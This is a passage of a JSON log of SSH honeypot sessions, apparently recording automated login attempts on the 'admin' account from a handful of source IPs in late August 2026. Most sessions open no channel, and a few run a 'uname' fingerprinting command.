  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 55732,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T08:50:34.351164+00:00",
  "ended_at": "2026-08-24T08:50:44.060963+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "54f004b7-7b37-481e-924d-07800f9804e0",
  "name": "misty-cheerful-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 37210,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 235,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T08:49:53.394927+00:00",
  "ended_at": "2026-08-24T08:49:57.214113+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6e2b99f2-c307-4a44-94f6-c279e5168691",
  "name": "electric-gallant-moose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 43096,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 243,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T08:49:21.642808+00:00",
  "ended_at": "2026-08-24T08:49:26.938208+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "116e771f-8170-4f11-bc5e-93cdf8ff9c27",
  "name": "hardy-jovial-brambling",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.46.255.86",
  "src_port": 47432,
  "username": "admin",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T08:33:24.848913+00:00",
  "ended_at": "2026-08-24T08:33:25.371563+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "44c874fc-ba5a-4de6-b6f4-784e5549b863",
  "name": "eager-curious-oriole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 60190,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T08:26:41.664136+00:00",
  "ended_at": "2026-08-24T08:26:42.372435+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "20a571ce-16c7-4066-8591-a471836bb963",
  "name": "prairie-balmy-fieldfare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 51754,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T07:50:36.819317+00:00",
  "ended_at": "2026-08-24T07:50:46.292110+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f5b4554e-2515-4d67-9a58-4bdde30f555c",
  "name": "courtly-wandering-heron",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 57246,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T07:24:01.516108+00:00",
  "ended_at": "2026-08-24T07:24:03.491497+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1488ae28-69a2-4a3f-913c-1258c82bef4b",
  "name": "serene-mossy-thrush",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 58920,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T06:50:34.509367+00:00",
  "ended_at": "2026-08-24T06:50:44.180043+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1b55b5a8-9faa-4e03-8895-0f6b80fdd143",
  "name": "feathered-languid-hedgehog",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 45774,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T06:12:38.282414+00:00",
  "ended_at": "2026-08-24T06:12:38.796427+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "508bf36b-92bd-42b2-91bb-52f0f026d4be",
  "name": "lively-orderly-wolverine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 47724,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T05:50:34.120956+00:00",
  "ended_at": "2026-08-24T05:50:43.791410+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fd41d5d8-d85d-4d54-afbb-1b204e98e783",
  "name": "ivory-ancient-okapi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 33822,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T05:22:48.456809+00:00",
  "ended_at": "2026-08-24T05:22:49.248006+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "39524c26-862a-4eb3-aee5-2375ef5fa6ef",
  "name": "airy-sullen-kakapo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.46.255.86",
  "src_port": 10594,
  "username": "admin",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 3,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T05:03:40.121870+00:00",
  "ended_at": "2026-08-24T05:03:45.071391+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "60c14167-4872-4a8e-9dc2-31706e082210",
  "name": "cosmic-crisp-addax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 50112,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T04:51:32.482604+00:00",
  "ended_at": "2026-08-24T04:51:42.186819+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ff66b37f-6b15-4d89-9462-9f2d63493bc4",
  "name": "northern-grumpy-weasel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 48896,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T04:16:05.393479+00:00",
  "ended_at": "2026-08-24T04:16:06.631946+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d2e163c9-e64d-4c48-92b0-68fdbd8d4c12",
  "name": "restless-genial-hare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "223.17.1.118",
  "src_port": 57288,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T03:14:29.020159+00:00",
  "ended_at": "2026-08-24T03:14:30.457419+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d0b26003-3456-46de-b985-053975b891f2",
  "name": "seaward-clever-ocelot",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 50088,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T03:12:19.034213+00:00",
  "ended_at": "2026-08-24T03:12:20.952913+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7117ea1b-8403-4706-b067-23db4175f829",
  "name": "foggy-hazel-osprey",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 59916,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T02:55:09.256148+00:00",
  "ended_at": "2026-08-24T02:55:18.852446+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5164c424-1e25-4290-80dd-cf9bc4153fcf",
  "name": "hardy-peaty-bonobo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "34.52.193.13",
  "src_port": 40900,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T02:18:47.180367+00:00",
  "ended_at": "2026-08-24T02:18:49.689141+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "91e4e597-4795-4c46-bcca-1c2067622f90",
  "name": "fabled-noble-parakeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 44750,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T02:07:38.702555+00:00",
  "ended_at": "2026-08-24T02:07:39.715185+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "435e2434-7889-4348-99e4-c20ebfc188c8",
  "name": "breezy-balmy-bowerbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.24.211.204",
  "src_port": 26581,
  "username": "admin",
  "client_version": "SSH-2.0-libssh2_1.11.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T02:01:29.874335+00:00",
  "ended_at": "2026-08-24T02:01:30.498003+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "469dfa9f-765c-411f-b600-38fb47b9780a",
  "name": "salty-whispering-cassowary",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 38942,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T01:55:10.464138+00:00",
  "ended_at": "2026-08-24T01:55:20.173968+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "917ba640-79e4-4af9-895d-90e43f1380eb",
  "name": "ashen-muted-catbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 38244,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T01:07:03.817590+00:00",
  "ended_at": "2026-08-24T01:07:05.174716+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c0430b40-525a-490d-9c9c-cbea32f80001",
  "name": "prairie-ivory-jackal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 52094,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T00:55:10.109007+00:00",
  "ended_at": "2026-08-24T00:55:19.819694+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2a89637b-2231-4c00-9a77-e13cc74212dc",
  "name": "lively-clever-merlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 38590,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T00:05:58.514779+00:00",
  "ended_at": "2026-08-24T00:05:59.647401+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "52e74fb0-7184-4045-bf13-422d9fa65abd",
  "name": "creaky-spirited-tapir",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 60784,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T23:55:10.508803+00:00",
  "ended_at": "2026-08-23T23:55:20.199773+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "76ac7b7c-c5cb-4bf3-af3c-a618f1eadefd",
  "name": "jolly-freckled-marten",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "27.79.44.16",
  "src_port": 55358,
  "username": "admin",
  "client_version": "SSH-2.0-AsyncSSH_2.1.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T23:36:34.745449+00:00",
  "ended_at": "2026-08-23T23:36:43.610186+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a2515c00-e6f0-4d36-80b6-d1b3795b49f0",
  "name": "canny-noble-vervet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "171.243.149.121",
  "src_port": 38612,
  "username": "admin",
  "client_version": "SSH-2.0-AsyncSSH_2.1.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T22:59:31.072842+00:00",
  "ended_at": "2026-08-23T22:59:32.795687+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1e2840eb-c89a-469c-8629-f068293ebd00",
  "name": "northern-knotted-heron",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 37194,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T22:58:41.708887+00:00",
  "ended_at": "2026-08-23T22:58:42.195866+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d86aaa67-e00c-490d-8d6e-c1eaaa3649cf",
  "name": "brisk-somber-parakeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 45776,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T22:55:10.047467+00:00",
  "ended_at": "2026-08-23T22:55:19.765622+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "07252119-dd5c-4c2c-899d-8e6eb5117254",
  "name": "vernal-shaded-hummingbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 43010,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T21:58:48.687343+00:00",
  "ended_at": "2026-08-23T21:58:50.527381+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ac82a4c6-e3d3-4eee-b88f-bdf0d88d9e65",
  "name": "quaint-verdant-oryx",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 50546,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T21:55:11.660494+00:00",
  "ended_at": "2026-08-23T21:55:21.364887+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "16efe66d-5222-4eba-ba15-bbbbd031946e",
  "name": "alpine-sturdy-okapi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 53146,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T20:52:27.972732+00:00",
  "ended_at": "2026-08-23T20:52:28.493061+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a4d57662-6a59-4b27-8258-29065f10c14a",
  "name": "wooded-bitter-starling",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.46.255.86",
  "src_port": 39954,
  "username": "admin",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 3,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T20:34:54.467514+00:00",
  "ended_at": "2026-08-23T20:34:57.474003+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "123e03d2-0d09-431d-bdeb-3ff3ec7df55b",
  "name": "cobalt-sooty-numbat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 50432,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T20:01:19.921780+00:00",
  "ended_at": "2026-08-23T20:01:29.642161+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "59716fee-5184-4398-b5a5-54a0c91c8b49",
  "name": "genial-nameless-chickadee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 49878,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T19:52:38.126146+00:00",
  "ended_at": "2026-08-23T19:52:40.000316+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3d5dfea0-c0cb-4c9e-8e82-062748013b75",
  "name": "barren-steady-manatee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.46.255.86",
  "src_port": 23750,
  "username": "admin",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 3,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T19:18:53.848732+00:00",
  "ended_at": "2026-08-23T19:18:58.491110+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4ab179f8-a2b9-40e6-a5bb-65fc4719a926",
  "name": "lanky-quaint-goldcrest",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 36184,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T19:01:11.690927+00:00",
  "ended_at": "2026-08-23T19:01:21.402308+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9c0f0f58-f822-4798-a9f5-43fe6ad80698",
  "name": "bitter-bronzed-tamarin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 45102,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T18:50:24.149133+00:00",
  "ended_at": "2026-08-23T18:50:24.729036+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8df30151-557c-4341-8fa5-ff1f16d74760",
  "name": "watchful-sturdy-tamarin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 46880,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T18:01:18.955706+00:00",
  "ended_at": "2026-08-23T18:01:28.678673+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f71cc399-26ab-4682-a445-8556753b9930",
  "name": "sunlit-murky-pochard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 46786,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T17:53:55.803160+00:00",
  "ended_at": "2026-08-23T17:53:57.585276+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "637eb4bf-f4ac-44a9-bdbf-fe1860da1627",
  "name": "wistful-sandy-capuchin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 56842,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T17:01:19.205474+00:00",
  "ended_at": "2026-08-23T17:01:28.913414+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "93f47d48-9e27-47eb-ade1-b49075534abe",
  "name": "curious-freckled-puffin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 35666,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T16:47:02.858327+00:00",
  "ended_at": "2026-08-23T16:47:03.263249+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e2db11ca-5fb3-4bbf-84f0-5d1f797ab735",
  "name": "jagged-eager-gannet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 51246,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T16:01:18.823082+00:00",
  "ended_at": "2026-08-23T16:01:28.515476+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b24715a8-7d01-4e70-ae1d-91b17a70cb77",
  "name": "salty-ginger-nightjar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 53912,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T15:53:49.619148+00:00",
  "ended_at": "2026-08-23T15:53:50.854829+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "37007832-7f5b-4e71-be7f-58030c232b3a",
  "name": "hollow-hazel-panther",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 33910,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T15:01:18.509194+00:00",
  "ended_at": "2026-08-23T15:01:28.182011+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "33f2f78b-d06a-408c-ad60-19357ff384d3",
  "name": "brave-velvet-hamster",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 34554,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T14:45:48.412205+00:00",
  "ended_at": "2026-08-23T14:45:49.360010+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3e108003-13cb-410a-98c3-ae552752a9e9",
  "name": "lanky-vivid-cardinal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.46.255.86",
  "src_port": 40728,
  "username": "admin",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 3,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T14:11:52.216154+00:00",
  "ended_at": "2026-08-23T14:11:56.008269+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9f89028a-a0f5-49e9-aed6-308966300ec0",
  "name": "clever-nameless-bullfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.19.117.130",
  "src_port": 57880,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T14:03:36.411396+00:00",
  "ended_at": "2026-08-23T14:03:46.115792+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "80166706-d5ec-41be-b3a4-217d5882d07d",
  "name": "upland-slender-pika",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 37144,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T13:50:11.892611+00:00",
  "ended_at": "2026-08-23T13:50:13.516249+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "921ae46f-dc21-4bdb-a9a1-0683f6027dae",
  "name": "meadow-emerald-camel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.199.36",
  "src_port": 43642,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T13:37:57.127134+00:00",
  "ended_at": "2026-08-23T13:37:58.745001+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "be48da9c-5678-484e-9107-ba677d93e77d",
  "name": "airy-curious-magpie",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "211.221.196.103",
  "src_port": 35012,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T12:58:09.788402+00:00",
  "ended_at": "2026-08-23T12:58:11.362007+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f9089b69-23bf-4bfc-aa1e-f178d271e8d6",
  "name": "watchful-lunar-shearwater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "85.239.149.72",
  "src_port": 56552,
  "username": "admin",
  "client_version": "SSH-2.0-libssh2_1.11.1",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T12:45:59.606140+00:00",
  "ended_at": "2026-08-23T12:46:00.614063+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3f4b217d-f6a7-4d68-beb1-499e7e251215",
